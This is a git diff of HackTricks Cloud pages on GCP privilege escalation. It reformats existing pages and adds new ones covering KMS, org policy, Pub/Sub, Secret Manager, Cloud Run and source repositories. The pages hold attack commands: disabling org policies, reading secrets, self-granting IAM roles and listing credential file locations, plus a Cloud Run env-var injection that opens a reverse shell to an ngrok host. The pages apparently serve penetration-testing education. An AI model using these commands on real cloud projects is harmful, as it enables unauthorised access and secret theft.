index 6b209238a..3d8668070 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md
@@ -1,27 +1,14 @@
 # GCP - KMS Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## KMS
 
 Info about KMS:
 
-{% content-ref url="../gcp-services/gcp-kms-enum.md" %}
-[gcp-kms-enum.md](../gcp-services/gcp-kms-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-kms-enum.md
+{{#endref}}
 
 Note that in KMS the **permission** are not only **inherited** from Orgs, Folders and Projects but also from **Keyrings**.
 
@@ -71,16 +58,14 @@ title: "KMS Decryption via Delegation"
 description: "Allows decryption via delegation"
 stage: "GA"
 includedPermissions:
-- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
+  - "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
 ```
 
 2. **Create the Custom Role Using the gcloud CLI**: Use the following command to create the custom role in your Google Cloud project:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
 ```
-{% endcode %}
 
 Replace `[YOUR_PROJECT_ID]` with your Google Cloud project ID.
 
@@ -100,17 +85,4 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
 
 Replace `[YOUR_PROJECT_ID]` and `[SERVICE_ACCOUNT_EMAIL]` with your project ID and the email of the service account, respectively.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
similarity index 54%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
index 8abd52c60..798518438 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
@@ -1,19 +1,6 @@
 # GCP - local privilege escalation ssh pivoting
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
 
@@ -39,7 +26,9 @@ Moreover, it's possible to add **userdata**, which is a script that will be **ex
 
 For more info check:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
 
 ## **Abusing IAM permissions**
 
@@ -47,11 +36,11 @@ Most of the following proposed permissions are **given to the default Compute SA
 
 Check the following permissions:
 
-* [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
-* [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
-* [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata)
-* [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
-* [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
+- [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
+- [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
+- [**compute.projects.setCommonInstanceMetadata**](gcp-compute-privesc/#compute.projects.setcommoninstancemetadata)
+- [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
+- [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
 
 ## Search for Keys in the filesystem
 
@@ -63,10 +52,10 @@ sudo find / -name "gcloud"
 
 These are the most interesting files:
 
-* `~/.config/gcloud/credentials.db`
-* `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
-* `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
-* `~/.credentials.json`
+- `~/.config/gcloud/credentials.db`
+- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
+- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
+- `~/.credentials.json`
 
 ### More API Keys regexes
 
@@ -104,19 +93,6 @@ grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
 
 ## References
 
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md
new file mode 100644
index 000000000..6c155ac6a
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md
@@ -0,0 +1,25 @@
+# GCP - Generic Permissions Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Generic Interesting Permissions
+
+### \*.setIamPolicy
+
+If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.\
+This permission can also allow to **escalate to other principals** if the resource allow to execute code and the iam.ServiceAccounts.actAs is not necessary.
+
+- _cloudfunctions.functions.setIamPolicy_
+  - Modify the policy of a Cloud Function to allow yourself to invoke it.
+
+There are tens of resources types with this kind of permission, you can find all of them in [https://cloud.google.com/iam/docs/permissions-reference](https://cloud.google.com/iam/docs/permissions-reference) searching for setIamPolicy.
+
+### \*.create, \*.update
+
+These permissions can be very useful to try to escalate privileges in resources by **creating a new one or updating a new one**. These can of permissions are specially useful if you also has the permission **iam.serviceAccounts.actAs** over a Service Account and the resource you have .create/.update over can attach a service account.
+
+### \*ServiceAccount\*
+
+This permission will usually let you **access or modify a Service Account in some resource** (e.g.: compute.instances.setServiceAccount). This **could lead to a privilege escalation** vector, but it will depend on each case.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
similarity index 60%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
index 5d99557d8..8126e305e 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md
@@ -1,19 +1,6 @@
 # GCP - Network Docker Escape
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Initial State
 
@@ -63,20 +50,7 @@ This step authorizes the public key, enabling SSH connection with the correspond
 
 ## References
 
-* [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
-* [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
+- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
+- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
new file mode 100644
index 000000000..8cd87c332
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
@@ -0,0 +1,25 @@
+# GCP - Orgpolicy Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## orgpolicy
+
+### `orgpolicy.policy.set`
+
+An attacker leveraging **orgpolicy.policy.set** can manipulate organizational policies, which will allow him to remove certain restrictions impeding specific operations. For instance, the constraint **appengine.disableCodeDownload** usually blocks downloading of App Engine source code. However, by using **orgpolicy.policy.set**, an attacker can deactivate this constraint, thereby gaining access to download the source code, despite it initially being protected.
+
+```bash
+# Get info
+gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
+
+# Disable
+gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
+```
+
+A python script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
+
+## References
+
+- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
new file mode 100644
index 000000000..f0537d23d
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
@@ -0,0 +1,37 @@
+# GCP - Pubsub Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## PubSub
+
+Get more information in:
+
+{{#ref}}
+../gcp-services/gcp-pub-sub.md
+{{#endref}}
+
+### `pubsub.snapshots.create`
+
+The snapshots of topics **contain the current unACKed messages and every message after it**. You could create a snapshot of a topic to **access all the messages**, **avoiding access the topic directly**.
+
+### **`pubsub.snapshots.setIamPolicy`**
+
+Assign the pervious permissions to you.
+
+### `pubsub.subscriptions.create`
+
+You can create a push subscription in a topic that will be sending all the received messages to the indicated URL
+
+### **`pubsub.subscriptions.update`**
+
+Set your own URL as push endpoint to steal the messages.
+
+### `pubsub.subscriptions.consume`
+
+Access messages using the subscription.
+
+### `pubsub.subscriptions.setIamPolicy`
+
+Give yourself any of the preiovus permissions
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md
new file mode 100644
index 000000000..9f69d21fa
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md
@@ -0,0 +1,19 @@
+# GCP - Resourcemanager Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## resourcemanager
+
+### `resourcemanager.organizations.setIamPolicy`
+
+Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **organization** level. So, you can follow the same exploitation example.
+
+### `resourcemanager.folders.setIamPolicy`
+
+Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **folder** level. So, you can follow the same exploitation example.
+
+### `resourcemanager.projects.setIamPolicy`
+
+Like in the exploitation of `iam.serviceAccounts.setIamPolicy`, this permission allows you to **modify** your **permissions** against **any resource** at **project** level. So, you can follow the same exploitation example.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
similarity index 58%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
index 4d01c56b0..08298f6be 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md
@@ -1,27 +1,14 @@
 # GCP - Run Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Cloud Run
 
 For more information about Cloud Run check:
 
-{% content-ref url="../gcp-services/gcp-cloud-run-enum.md" %}
-[gcp-cloud-run-enum.md](../gcp-services/gcp-cloud-run-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-cloud-run-enum.md
+{{#endref}}
 
 ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
 
@@ -91,27 +78,12 @@ Give yourself the previous permissions over Cloud Jobs.
 
 Abuse the env variables of a job execution to execute arbitrary code and get a reverse shell to dump the contents of the container (source code) and access the SA inside the metadata:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
 ```
-{% endcode %}
 
 ## References
 
-* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
+- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
new file mode 100644
index 000000000..f63af9cf7
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
@@ -0,0 +1,38 @@
+# GCP - Secretmanager Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## secretmanager
+
+For more information about secretmanager:
+
+{{#ref}}
+../gcp-services/gcp-secrets-manager-enum.md
+{{#endref}}
+
+### `secretmanager.versions.access`
+
+This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
+
+```bash
+# Get clear-text of version 1 of secret: "<secret name>"
+gcloud secrets versions access 1 --secret="<secret_name>"
+```
+
+As this is also a post exploitation technique it can be found in:
+
+{{#ref}}
+../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+{{#endref}}
+
+### `secretmanager.secrets.setIamPolicy`
+
+This give you access to give you access to read the secrets from the secret manager, like using:
+
+```bash
+gcloud secrets add-iam-policy-binding <scret-name> \
+  --member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
+  --role="roles/secretmanager.secretAccessor"
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
similarity index 62%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
index e7c58e725..acfdea07f 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md
@@ -1,19 +1,6 @@
 # GCP - Serviceusage Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## serviceusage
 
@@ -23,29 +10,25 @@ Therefore, with an API key you can make that company pay for your use of the API
 
 To learn other permissions and ways to generate API keys check:
 
-{% content-ref url="gcp-apikeys-privesc.md" %}
-[gcp-apikeys-privesc.md](gcp-apikeys-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-apikeys-privesc.md
+{{#endref}}
 
 ### `serviceusage.apiKeys.create`
 
 An undocumented API was found that can be used to **create API keys:**
 
-{% code overflow="wrap" %}
 ```bash
 curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
 ```
-{% endcode %}
 
 ### `serviceusage.apiKeys.list`
 
 Another undocumented API was found for listing API keys that have already been created (the API keys appears in the response):
 
-{% code overflow="wrap" %}
 ```bash
 curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
 ```
-{% endcode %}
 
 ### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
 
@@ -53,7 +36,7 @@ With these permissions an attacker can enable and use new services in the projec
 
 ## **References**
 
-* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
+- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
 
 <details>
 
@@ -65,7 +48,7 @@ Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family),
 
 Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 
-**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
 
 **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
 
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
new file mode 100644
index 000000000..447045572
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
@@ -0,0 +1,87 @@
+# GCP - Sourcerepos Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Source Repositories
+
+For more information about Source Repositories check:
+
+{{#ref}}
+../gcp-services/gcp-source-repositories-enum.md
+{{#endref}}
+
+### `source.repos.get`
+
+With this permission it's possible to download the repository locally:
+
+```bash
+gcloud source repos clone <repo-name> --project=<project-uniq-name>
+```
+
+### `source.repos.update`
+
+A principal with this permission **will be able to write code inside a repository cloned with `gcloud source repos clone <repo>`**. But note that this permission cannot be attached to custom roles, so it must be given via a predefined role like:
+
+- Owner
+- Editor
+- Source Repository Administrator (`roles/source.admin`)
+- Source Repository Writer (`roles/source.writer`)
+
+To write just perform a regular **`git push`**.
+
